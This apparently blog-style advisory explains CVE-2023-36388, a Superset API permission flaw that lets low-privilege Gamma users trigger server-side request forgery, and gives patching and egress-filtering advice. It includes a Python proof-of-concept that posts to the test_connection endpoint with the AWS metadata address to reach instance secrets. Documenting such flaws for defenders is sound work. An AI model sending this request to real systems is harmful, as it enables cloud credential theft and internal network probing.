Apache Superset is a popular open-source data visualization platform, used by businesses and data teams everywhere. But even the best tools sometimes have dangerous flaws. CVE-2023-36388 is one such vulnerability, and it's worth taking seriously.

Superset uses tiers of user roles, like "Gamma," to control what folks can do. The “Gamma” role is designed for regular users who should mostly only explore dashboards and charts. But a permissions slip with the REST API, present up to and including version 2.1., accidentally gave Gamma users more power than intended—like testing connections to arbitrary URLs. That’s scary because it can lead to a server-side request forgery (SSRF) attack.

Let's break down what happened, how it works, and how you can prevent this in your own stacks.

What is CVE-2023-36388?

- CVE ID: CVE-2023-36388
- Issue: Improper REST API permission in Apache Superset up to and including 2.1. allows an authenticated Gamma user to test arbitrary network connections (possible SSRF).

Official Advisory

- Apache Security Advisory
- GitHub Security Advisory

Understanding the Flaw

Normally, only privileged users like admins should test database connections from Superset, because this requires reaching out to network hosts. But thanks to a misconfiguration in the REST API endpoints, even Gamma users could call the /api/v1/database/test_connection path, providing any database URI they liked.

This opens the door for a SSRF attack: an attacker could trick the application server into making requests to arbitrary hosts/IP addresses, including internal services the attacker shouldn’t see.

Step 1: Get an API Token

Gamma users can get a bearer token by logging in. With cookies or the token, you can use the Superset REST API.

Step 2: Craft API Request

import requests

# Change these variables to match your environment
SUPERSET_URL = "https://your-superset-instance";
API_TOKEN = "YOUR_GAMMA_USER_TOKEN"

headers = {
    "Authorization": f"Bearer {API_TOKEN}",
    "Content-Type": "application/json"
}

payload = {
  "uri": "http://169.254.169.254/latest/meta-data/";
}

response = requests.post(
    f"{SUPERSET_URL}/api/v1/database/test_connection",
    json=payload,
    headers=headers
)

print(response.status_code)
print(response.text)

What’s going on above?

- The "uri" is totally user-controlled. That means you can point it to a web server you control and see if it gets any requests, or you can reach out to cloud metadata endpoints like AWS's http://169.254.169.254/ (which holds instance secrets).
- The response might give you content (like a 200 OK, or metadata data), OR it just might show network connectivity, but either way, it's proof you can prod around the target network via the Superset server.

Real-World Impact

- Data Exposure: If Superset sits inside a secure network, this can let attackers poke internal hosts, or harvest secrets from cloud metadata services.
- Further Compromise: Chaining SSRF to other vulnerabilities can lead to remote code execution, credential theft, or pivoting inside the network.
- Auditing Risk: Most organizations expect their “Gamma” users pose little risk. This bug flips that assumption.

Upgrade to at least Superset 2.1.1, which patched this permission issue.

- Superset 2.1.1 Release Notes

Immediate Workarounds

- Block outgoing traffic from the Superset host to only trusted endpoints (using egress firewall rules).
- Remove unnecessary roles/privileges from users.

References

- NVD Entry for CVE-2023-36388
- Apache Security Mailing List Advisory
- Superset's API Documentation
- SSRF Attack Explained (PortSwigger)

Conclusion

CVE-2023-36388 is a reminder that even "read-only" users can pose a risk if API permissions aren't tightly controlled. If your organization uses Apache Superset, check your version and upgrade immediately. SSRF might seem esoteric, but it enables serious breaches, especially in modern cloud networks.

Stay patched, watch those permissions, and keep on visualizing—securely.

Let us know if you have questions about securing your analytics stack or if you want more deep-dives on API security in open-source tools!

Timeline

Published on: 09/06/2023 13:15:00 UTC
Last modified on: 09/11/2023 14:15:00 UTC